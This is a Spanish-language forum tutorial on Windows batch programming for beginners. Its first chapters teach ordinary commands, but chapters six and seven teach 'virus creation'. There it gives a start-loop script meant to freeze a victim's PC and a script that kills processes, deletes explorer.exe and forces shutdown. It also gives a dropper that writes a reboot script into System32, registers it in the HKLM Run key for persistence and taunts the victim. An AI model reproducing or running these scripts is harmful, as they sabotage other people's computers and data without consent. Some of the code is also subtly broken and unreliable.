CURSO DE PROGRAMACION EN BATCH PARA PRINCIPIANTES   
A AQUELLAS PERSONAS QUE COMIENZAN A PROGRAMAR   
POR TXSHACK

**INRODUCCION**:   
  
Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.   
El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.   
  
Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace   
  
  
CAPITULO UNO:   
MI PRIMER PROGRAMA .BAT   
  
En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.   
  
Abran el bloc de notas.   
A continuacion escrivan

|  |
| --- |
| **Cita:** |
| @echo off |

Asi sera como empesemos siempre el programa   
A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:

|  |
| --- |
| **Cita:** |
| @echo off  title mi primer programa txshack |

De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"   
  
Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.   
  
**echo.** sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word   
  
**echo** este sirve para mostrar un mensaje en el programa   
  
**rem** este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)   
  
**pause** sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.   
  
**exit** esta sirve para acabar el programa, para salir de el....   
  
Bien una vez dicho esto, podremos crear nuestro primer programa.   
Abran el bloc de notas si aun no lo han echo y escriban..

|  |
| --- |
| **Cita:** |
| @echo off  title mi primer programa txshack  echo.  echo comentario  echo.  pause  echo.  echo este es mi primer programa jejeje siiiiii  pause > nul  rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion  exit |

Aora le dan a guardar como y lo llaman por ejemplo 1ºprogramacontxshack.bat o lo que quieran, pero deve ser loquesea.bat   
  
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!   
  
Despues intenten entender el codigo, y veran lo sencillo que es...   
  
En el proximo capitulo les enseñare como hacer que el programa te aga preguntas y tu responderlas...etc   
  
No se impacienten!! jeje   
Espero que les ayude.   
  
Un saludo, txshack

**CAPITULO 2: LAS VARIABLES**   
  
Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?   
Ahora pasaremos a las variables.   
  
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

|  |
| --- |
| **Cita:** |
| @echo off  title ejemplos  set var=capullo  echo eres un %var%  pause |

Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no??)   
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo jejeje, esto es un ejemplo, vean.   
  
  
  
han visto no?? asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%   
  
por si no les quedo claro, les pondre otro ejemplo.. lo mejor es que lo agan ustedes mismos tambien...

|  |
| --- |
| **Cita:** |
| @echo off  title ejemplo2  set uno=soy txshack  set dos=espero que aprendas  echo hola amigos %uno%  echo.  pause > nul  echo.  echo %dos%  echo.  pause |

Espero que lo ayan entendido ya...   
  
Ahora pasemos a otro tipo de variables, son muy parecidas.... Estas hacen que puedas escrivir algo, y q el que ejecute el bat responda, y acer mas tarde referencia a esa respuesta... Con un peqeño ejemplo lo veremos mejor...

|  |
| --- |
| **Cita:** |
| @echo off  title ejemplo3  set/p nombre= ¿como te llamas?  echo.  pause  echo.  set/p edad= ¿y cuantos años tienes?  echo.  pause  echo.  echo te llamas %nombre% y tienes %edad% años  echo.  pause > nul  exit |

Han entendido no?? este seria el resultado:   
  
  
  
Ahora les enseñare otros comandos que deverian de sumar a los del primer capitulo... (esos que les dije apuntasen en un papel jeje)   
  
Esos comandos son los suiguientes...   
  
**set** xxxxx= xxxxx   
**set/p** xxxx= xxxxx   
No ace falta explicar cada una de nuevo no??   
**cls** esta no la e empleado aun, pero sirve para limpiar lo anterior escrito..... imaginen que acemos un programa como el anterior, en que preguntamos nombre, edad, donde vives, apellidos...etc y cuando digamos lo de te llamas .... y apellidas ... y años.... para que no quede todo en pantalla y nos agamos un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...

|  |
| --- |
| **Cita:** |
| @echo off  title ejemplo4  set/p nombre= ¿como te llamas?  echo.  pause  echo.  set/p edad= ¿y cuantos años tienes?  echo.  pause  echo.  set/p vive= ¿y donde vives?  echo.  pause  cls  echo te llamas %nombre% y tienes %edad% años y vives en %vive%  echo.  pause > nul  exit |

han visto no?? si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger soltura   
  
Y bueno, si se an quedado con esto... por oy ya es bastante...   
  
Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de letras y de fondo)... prueven....   
  
CODIGO DE COLORES:   
  
0 = Negro   
1 = Azul   
2 = Verde   
3 = Aguamarina   
4 = Rojo   
5 = Púrpura   
6 = Amarillo   
7 = Blanco   
8 = Gris   
9 = Azul claro   
A = Verde claro   
B = Aguamarina claro   
C = Rojo claro   
D = Púrpura claro   
E = Amarillo claro   
F = Blanco brillante   
  
Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores

|  |
| --- |
| **Cita:** |
| @echo off  title ejemplo4  color 5e  set/p nombre= ¿como te llamas?  echo.  pause  echo.  set/p edad= ¿y cuantos años tienes?  echo.  pause  echo.  set/p vive= ¿y donde vives?  echo.  pause  cls  color 2f  echo te llamas %nombre% y tienes %edad% años y vives en %vive%  echo.  pause > nul  exit |

Espero que asta aqui lo hallan entendido, si necesitan alguna aclaracion o no entienden algo. No duden en postear.   
  
Continuaremos el proximo dia. Un saludo. TxShack

**CAPITULO 3: VARIABLES -CONTINUACION-**   
  
  
En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).   
  
Estas en vez de set/p xxx= se llaman set/a xxx=   
Sirve por ejemplo para realizar medias, porcentajes...etc...   
  
Lo mejor es ver un ejemplo:   
  
Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.   
  
VEAN:

|  |
| --- |
| **Cita:** |
| @echo off  title calcula tus notas medias con txshack  color 0c  rem como veran este color establece las letras rojas y el fondo negro  echo.  set/p a=¿cual es tu nota en matematicas?  cls  set/p b=¿cual es tu nota en tecnologia?  cls  set/p c=¿cual es tu nota en lengua?  cls  set/p d= ¿cual es tu nota en ingles?  cls  set/p e=¿cual es tu nota en sociales?  cls  set/p f=¿cual es tu nota en dibujo?  rem esto lo comprenden no? e establecido notas a una serie de variables q ya conocen del capitulo anterior  cls  set asig=6  rem esto tambien deven de saberlo ya...asi lo que acemos es dotar la palabra asig con el valor 6  set/a suma=a+b+c+d+e+f  rem aqui sumamos las medias  set/a media=%suma%/%asig%  rem como veran al dividir la suma entre las asignaturas sacamos la media  echo tu nota media es de : %media%  pause  echo estudia mas cabron  echo.  echo consejo de txshack  pause  exit |

Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ¿¡que qereis!? jeje   
  
Espero que lo ayais entendido.   
  
Los comandos de las operaciones son   
  
suma+   
resta -   
producto \*   
division /   
exponente ^   
  
HASTA EL PROXIMO DIA!!

CAPITULO 4: IF, GOTO, MENUS   
  
Bueno, en este 4º capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta chupado.   
  
El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...   
  
Los menus, nos permiten hacer "menus" o apartados en nuestro bat.   
  
Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)   
  
El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal cosa.   
  
El comando if, dispone de los siguientes atributos:   
  
**variable==valor** (para expresar si la variable es igual a valor az esto)   
**variable LSS valor** (para expresar si la variable es menor a valor az esto)   
**variable GTR valor** (para expresar si la variable es mayor a valor az esto)   
**variable LEQ valor** (para expresar si la variablees menor o igual az esto)   
**variable GEQ valor** (para expresar si la variable es mayor o igual az esto)   
  
Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.

|  |
| --- |
| **Cita:** |
| @echo off  title txshack if, goto y menus  :menu  cls  echo responde si o no  echo.  set /p var=quieres convertirte en hacker??  If %var%==si goto serh  If %var%==no goto noh  :serh  cls  echo pues entonces sigue los consejos de txshack  pause > nul  goto end  :noh  cls  echo.  echo pues entonces que coño aces leyendo esto??  pause > nul  goto end  :end  cls  echo.  echo adios  pause  exit |

Han comprendido no?? es sencillo.   
  
Aqui os dejo otro ejemplo

|  |
| --- |
| **Cita:** |
| @echo off  title ¿que numero sera...?  :menu  cls  echo deves averiguar el numero para poder salir  echo.  set /p var=pon un numero:  If %var%==5 goto si  If %var% LSS 5 goto menor  If %Var% GTR 5 goto mayor  :si  cls  echo correcto!!! por culo te la inco!! jaja  pause  goto salir  :menor  cls  echo elije otro mas alto  echo.  echo sigue jugando  pause > nul  goto menu  :mayor  echo elije otro mar pekeño!!  echo.  echo sigue probando  pause > nul  goto menu  :salir  echo.  echo asta otro dia!!  pause > nul  echo.  echo un saludo, txshack  pause  exit |

Ya lo abran pillado no??   
  
Tambien pueden usar el comando **if not** que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ¿Entienden no??? sino agan un ejemplo veran q facil es.   
  
Se preguntaran tambien que pasa, cuando por ejemplo en el 1º ejemplo que puse, en vez de escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).   
  
Pero no se preocupen todo esto tiene solucion con un comando llamado **else**.   
  
Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos

|  |
| --- |
| **Cita:** |
| if %vari%=1 (goto menu1) else goto menu2 |

Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.   
La sintaxis seria esta   
  
if condiciones (accion1) ELSE accion2   
  
La 1º accion deve ir entre parentesis obligatoriamente.   
  
Vean un ejemplo les quedara mas claro...   
En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes

|  |
| --- |
| **Cita:** |
| @echo off  title txshack di soy bobo  :menu  cls  echo que quieres? consejo o salir  echo.  set /p var=dime, consejo o salir:  If %var%==consejo (goto consejo) else goto if2  :if2  if %var%==salir (goto end) else goto menu  :consejo  cls  echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!  pause > nul  goto end  :end  cls  echo.  echo adios!!  pause  exit |

Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen??   
  
Pronto seguire.   
  
Un saludo; TxShack

**CAPITULO 5: ULTIMOS COMANDOS**   
  
Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos.   
  
En este capitulo, os enseñare el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.   
  
Bien, estos son los comandos basicos q deven recordar:   
  
**del** borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe   
  
/P Pide confirmación en cada caso   
/F Modo force. Borra incluso los archivos de solo lectura   
/S Borra también los subdirectorios.   
/Q Modo silencioso. No pide confirmación en ningún caso   
  
**rd** borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.   
  
**star** comienza algo, por ejemplo star [www.infiernohacker.mundoforo.com](http://www.infiernohacker.mundoforo.com)   
  
**taskkill** mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe   
  
**format unidad:** formatea una unidad, por ejemplo format c:   
  
**msg\*** hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg\* adios!! y no te olvides de visitar infiernohacker   
  
**reg add** añade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)   
  
**> y >>** son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.   
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.   
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.   
Espero que lo hayan entendido... en brebes palabras\_   
> crea o remplaza un archivo   
>>salta asta la linea siguiente   
  
ejemplo:

|  |
| --- |
| **Cita:** |
| @echo off  echo txshack>hola.txt  exit |

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack   
  
**\*** El \* sirve para sustituir a todos los caracteres... por ejemplo si ponemos del \*.jpg   
borrara todos los archivos con extension .jpg   
del a\*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.   
  
**?** El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?   
  
El \* y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.   
c?sa.\* (archivos c -un caracter- sa y de cualquier extension)   
\*asa\*.b\* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)   
  
**CHDIR o CD** [path>   
  
Cambia al directorio indicado.   
  
CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa   
CD .. Trasladarse al directorio superior   
CD \\ Trasladarse al raíz   
  
**ATTRIB** [/S> [archivo>   
  
Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.   
  
Con el parámetro /S busca también en subdirectorios.   
  
Los atributos son:   
H -> oculto. Se activa con +h y desactiva con -h   
R -> Lectura. Solo lectura con +r, normal con -r   
S -> Sistema. Se activa con +s y desactiva con -s   
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.   
  
ATTRIB archivo.txt Muestra los atributos de ese archivo   
ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt   
  
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)   
attrib \*.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)   
  
**shutdown** este comando, depende de las letras que lo acompañen, puede acer una cosa u otra:   
si esta seguido de -r se reiniciara el equipo   
-s hara que se apage   
-f forzara a cerrarse todos programas   
-t 15 indica el tiempo...en este caso 15 segundos   
-c " " lo que va entre comillas sera un mensaje...   
  
pongamos un ejemplo\_   
  
shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete

Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.   
  
Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por hoy ^^   
  
Cuando pueda seguire.   
  
Un saludo   
  
TxShack

**CAPITULO 6: INICIACION A LA CREACION DE VIRUS**   
  
Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.   
  
Epezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.   
  
**1.)Introduccion**   
  
Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)   
  
¿Qué es un comando?   
es una orden que le damos al sistema operativo para que haga una tarea determinada.   
  
**explicación: @echo off**   
  
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.   
  
**explicación: shutdown**   
  
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones   
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.   
  
explicación: parametro -s y -t   
  
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo   
de antes pusimos 1 segundo.   
  
otros parametros de shutdown:   
  
shutdown -r = Reinicia   
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"   
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost   
shutdown -f = fuerza el cierre de las aplicaciones.   
  
**Comandos básicos**   
  
a continuación os pondré varios comandos que sirven mucho a la hora de hacer virus.   
  
-del = borra un archivo   
-copy = copia un archivo   
-reg = hacer modificaciones en el registro   
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones Smile  
-RD = elimina un directorio   
-set = Muestra , establece, crea , variables de entorno de windows.   
-taskkill o tskill = mata procesos   
  
**Comandos del registro**   
  
Operaciones:   
  
REG QUERY /?   
REG ADD /?   
REG DELETE /?   
REG COPY /?   
REG SAVE /?   
REG RESTORE /?   
REG LOAD /?   
REG UNLOAD /?   
REG COMPARE /?   
REG EXPORT /?   
REG IMPORT /?   
  
Usad estos comandos para obtener ayuda sobre los parametros después de reg.   
  
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)   
  
**Bucles**   
  
Bueno un bucle es repetir muchas veces lo mismo   
ejemplo   
  
@echo off   
:txshack   
echo te estoy haciendo un bucle jaja   
goto txshack   
  
jeje ya podeis imaginaros las cosas que podeis hacer.   
  
otro ejemplo:   
  
@echo off   
:menu   
start   
goto menu   
  
  
Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.   
  
el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.   
  
podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc   
(start <http://infiernohacker.mundoforo.com>)   
  
**Nuestro segundo virus**.   
  
@echo off   
taskkill /F /IM msnmsgr.exe   
del /F c:\windows\system32\explorer.exe   
shutdown -s -t 10 -c "Asta luego lucas!!"   
  
Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD   
  
**Variables de windows xp**   
  
para ver el contenido de estas variables escriban en cmd.exe   
  
echo %NOMBREDELAVARIABLE%   
  
%COMPUTERNAME% = Nombre de host.   
%SYSTEMROOT% = Carpeta de administración Normalmente c:\windows   
%TEMP% = directorio donde se encuentran los archivos temporales   
%WINDIR% = directorio de windows.   
%USERNAME% = usuario con el que se inicio sesión   
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión   
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas   
%OS% = muestra el sistema operativo que estamos ejecutando   
%LOGONSERVER% = nombre de nuestro server (\\mihost)   
  
no son todos pero estan los mas importanter ^^   
  
Y bueno, por hoy lo dejo aqui.. cuando pueda seguire.. ^^ espero que pueda ser pronto.   
  
Un saludo TxShack

**CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS**   
  
Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido hacerlo.   
  
Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...   
  
Podemos crear un virus que se ejecute, haga su funcion y ya esta...   
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...   
  
Como podemos ver el daño no es igual...   
  
imaginen este virus:   
  
**@echo off   
shutdown -r -f -t 5   
exit**   
  
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar...   
  
Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no?   
  
Pues bien, esto es lo que voy a intentar explicar.   
  
1º Devemos acer que nuestro virus se cree en algun directorio   
  
2º Añadirlo al registo, (a run)   
  
3º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc   
  
Bueno, en primel lugar, comenzaremos como siempre   
  
**@echo off**   
  
A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc   
  
Si queremos que se guarde en c: basta con escrivir tan solo cd   
  
**@echo off   
cd**   
  
Si por ejemplo queremos q se guarde en System32, pues ariamos:   
  
**@echo off   
cd c:\windows\system32**   
  
Y de esta forma igual con cualquier otro directorio....   
  
Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este...   
  
Lo veran mejor con el siguiente ejemplo

|  |
| --- |
| **Cita:** |
| @echo off  cd c:\windows\system32  echo @echo off > virus.bat  echo shutdown -r -s -t 5 >> virus.bat  echo exit >> virus.bat  exit |

Entienden lo que emos echo no?? si an seguido el manual desde el principio, entenderan el porqe del > y del >>.   
  
Por si no lo saben se lo explico brebemente:   
  
El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.   
  
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda añadirlo a RUN para q se inicie con windows...   
Para ello añadiremos lo siguiente:   
  
**reg add hkey\_local\_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg\_sz /d C:\windows\system32 /f**   
  
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32.   
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.   
  
Asi que de momento nuestro virus iria asi:

|  |
| --- |
| **Cita:** |
| @echo off  cd c:\windows\system32  echo @echo off > virus.bat  echo shutdown -r -s -t 5 >> virus.bat  echo exit >> virus.bat  reg add hkey\_local\_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg\_sz /d C:\windows\system32 /f  exit |

Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.   
  
Ahora podriamos poner algun mensaje y tambien ejecutar el bat...   
  
Por ejemplo asi:

|  |
| --- |
| **Cita:** |
| @echo off  cd c:\windows\system32  echo @echo off > virus.bat  echo shutdown -r -s -t 5 >> virus.bat  echo exit >> virus.bat  reg add hkey\_local\_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg\_sz /d C:\windows\system32 /f  msg \* Estas perdido amigo  msg \* Ahora TxShack domina tu pc  msg \* jajaja  start c:\windows\system32\virus.bat  exit |

Bueno, y asta aqui, explicare por hoy ^^   
  
Espero que lo hayan entendido todo...   
  
Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de archivos...etc   
  
Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.   
  
Un saludo, y asta pronto:   
  
TxShack

Todo fue tomado del foro web:

<http://infiernohacker.mundoforo.com/siguiente-vt28.html?postdays=0&postorder=asc&start=80>